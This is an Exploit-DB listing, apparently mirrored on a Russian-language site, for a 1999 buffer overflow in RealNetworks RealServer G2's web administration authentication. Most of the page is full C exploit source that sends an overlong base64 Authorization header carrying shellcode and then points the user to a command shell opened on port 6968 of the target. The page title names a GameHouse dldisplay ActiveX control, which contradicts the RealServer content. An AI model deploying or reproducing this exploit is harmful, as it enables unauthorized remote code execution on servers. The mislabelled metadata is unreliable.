- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 19593
- Проверка EDB
-
- Пройдено
- Автор
- DARK SPYRIT
- Тип уязвимости
- REMOTE
- Платформа
- WINDOWS
- CVE
- cve-1999-0896
- Дата публикации
- 1999-11-04
Real Networks GameHouse dldisplay ActiveX control - Port Buffer Overflow (2)
C:
// source: https://www.securityfocus.com/bid/767/info
At installation, the Real Server software randomly selects an unused port as the remote administration port. This port is used by Real Server's remote web administration feature. To access this feature, the correct port must be specified and a valid username/password pair must be entered. By sending a long response to this authentication request, the buffer can be overwritten and arbitrary code can be executed on the server.
/* RealNetworks RealServer G2 buffer overflow exploit
*
* by dark spyrit <[email protected]>
* quick unix port by team teso
*
* the windows binary is available at http://www.beavuh.org.
*
* This exploits a buffer overflow in RealServers web authentication on
* the administrator port - hence the reason the shellcode is base64 encoded.
* This has been tested on the NT version with a default installation.
* If RealServer is installed in a different directory than the default, the
* buffer will need to be adjusted accordingly.
* The administrator port is randomly selected at installation, but as you'll
* only be testing on your own networks this won't matter :)
*/
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>
/* local functions
*/
unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec);
unsigned char sploit[] =
"GET /admin/index.html HTTP/1.0\x0d\x0a"
"Connection: Keep-Alive\x0d\x0a"
"User-Agent: Mozilla/4.04 [en] (X11; I; Beavuh OS .9 i486; Nav)\x0d\x0a"
"Host: 111.111.11.1:1111\x0d\x0a"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\x0d\x0a"
"Accept-Language: en\x0d\x0a"
"Accept-Charset: iso-8859-1,*,utf-8\x0d\x0a"
"Authorization: Basic kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
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"/bYmdrr/Pjt/Mnr9vr86urYmdr19ur80fj3/fX8mcn8/PLX+PT8/cnw6fyZ3vX2+/j12PX"
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"84fyZ/////w==\x0d\x0a\x0d\x0a\x00";
int
main (int argc, char **argv)
{
int socket;
char *server;
unsigned short int port;
struct sockaddr_in sa;
if (argc != 3) {
printf ("RealServer G2 exploit [NT] - please check http://www.beavuh.org for info.\n"
"by dark spyrit <[email protected]>, port by team teso\n\n"
"usage: %s <host> <admin_port>\n"
"eg - %s host.com 6666\n"
"the exploit will spawn a command prompt on port 6968\n\n", argv[0], argv[0]);
exit (EXIT_FAILURE);
}
server = argv[1];
port = atoi (argv[2]);
socket = net_connect (&sa, server, port, 45);
if (socket <= 0) {
perror ("net_connect");
exit (EXIT_FAILURE);
}
write (socket, sploit, strlen (sploit));
sleep (1);
close (socket);
printf ("data sent. try \"telnet %s 6968\" now \n", server);
exit (EXIT_SUCCESS);
}
unsigned long int
net_resolve (char *host)
{
long i;
struct hostent *he;
i = inet_addr (host);
if (i == -1) {
he = gethostbyname (host);
if (he == NULL) {
return (0);
} else {
return (*(unsigned long *) he->h_addr);
}
}
return (i);
}
int
net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec)
{
int n, len, error, flags;
int fd;
struct timeval tv;
fd_set rset, wset;
/* first allocate a socket */
cs->sin_family = AF_INET;
cs->sin_port = htons (port);
fd = socket (cs->sin_family, SOCK_STREAM, 0);
if (fd == -1)
return (-1);
cs->sin_addr.s_addr = net_resolve (server);
if (cs->sin_addr.s_addr == 0) {
close (fd);
return (-1);
}
flags = fcntl (fd, F_GETFL, 0);
if (flags == -1) {
close (fd);
return (-1);
}
n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
if (n == -1) {
close (fd);
return (-1);
}
error = 0;
n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
if (n < 0) {
if (errno != EINPROGRESS) {
close (fd);
return (-1);
}
}
if (n == 0)
goto done;
FD_ZERO(&rset);
FD_ZERO(&wset);
FD_SET(fd, &rset);
FD_SET(fd, &wset);
tv.tv_sec = sec;
tv.tv_usec = 0;
n = select(fd + 1, &rset, &wset, NULL, &tv);
if (n == 0) {
close(fd);
errno = ETIMEDOUT;
return (-1);
}
if (n == -1)
return (-1);
if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
len = sizeof(error);
if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
errno = ETIMEDOUT;
return (-1);
}
if (error == 0) {
goto done;
} else {
errno = error;
return (-1);
}
}
} else
return (-1);
done:
n = fcntl(fd, F_SETFL, flags);
if (n == -1)
return (-1);
return (fd);
}- Источник
- www.exploit-db.com
